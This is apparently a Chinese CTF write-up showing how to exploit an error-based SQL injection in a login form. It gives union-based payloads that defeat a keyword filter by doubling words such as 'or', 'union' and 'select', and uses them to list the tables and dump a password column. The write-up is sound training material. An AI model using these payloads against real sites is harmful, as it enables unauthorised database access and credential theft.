一、获取flag流程
我们先随便输入一个账号密码,查看URL发现是通过PUT方式传递数据到后台的。
我们首先判断是否存在SQL注入,我们尝试在username参数后加一个“ ’ ”,发现数据库直接爆出了错误,说明是存在注入的。
接下来我们用万能密码试一下,首先我们判断下这里是字符型注入还是数值型注入,先尝试1’ or ‘1’=‘1%23
发现不可行,所以我们再尝试数值型注入,输入:1’ or 1=1%23,爆出了数据库错误,猜测是过滤了or(其实这里也过滤了and),尝试双写or试下,成功爆出。payload如下:
1' or 1=1%23
接下来是获取字段数,payload如下:
admin' oorrder bbyy 3%23
可以看出这里是过滤了or的,其实这里by也被过滤了,所以我们尝试双写绕过,pyaload如下:
admin' oorrder bbyy 3%23
接下来就是数据库名:union和select同样被过滤了,同样尝试双写绕过,payload如下:
' ununionion seselectlect 1,2,database()%23
再下来是表名,经测试frominfor中的or以及where等字符被过滤了,payload如下:
ununionion seselectlect 1,2,group_concat(table_name)frfromom infoorrmation_schema.tables whwhereere table_schema='geek'%23
再是字段名,payload如下:
' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_schema='geek' anandd table_name='b4bsql'%23
最后是字段内容,payload如下:
' ununionion seselectlect 1,2,group_concat(passwoorrd) frfromom geek.b4bsql %23
这样就得到了flag。
二、思路总结
1.既然爆出数据库错误,说明系统没有屏蔽报错信息,可以尝试union注入。
2.注入发现过滤了一些敏感字符,尝试大小写,双写等绕过。
3.注入前一定要判断是数值型注入还是字符型注入。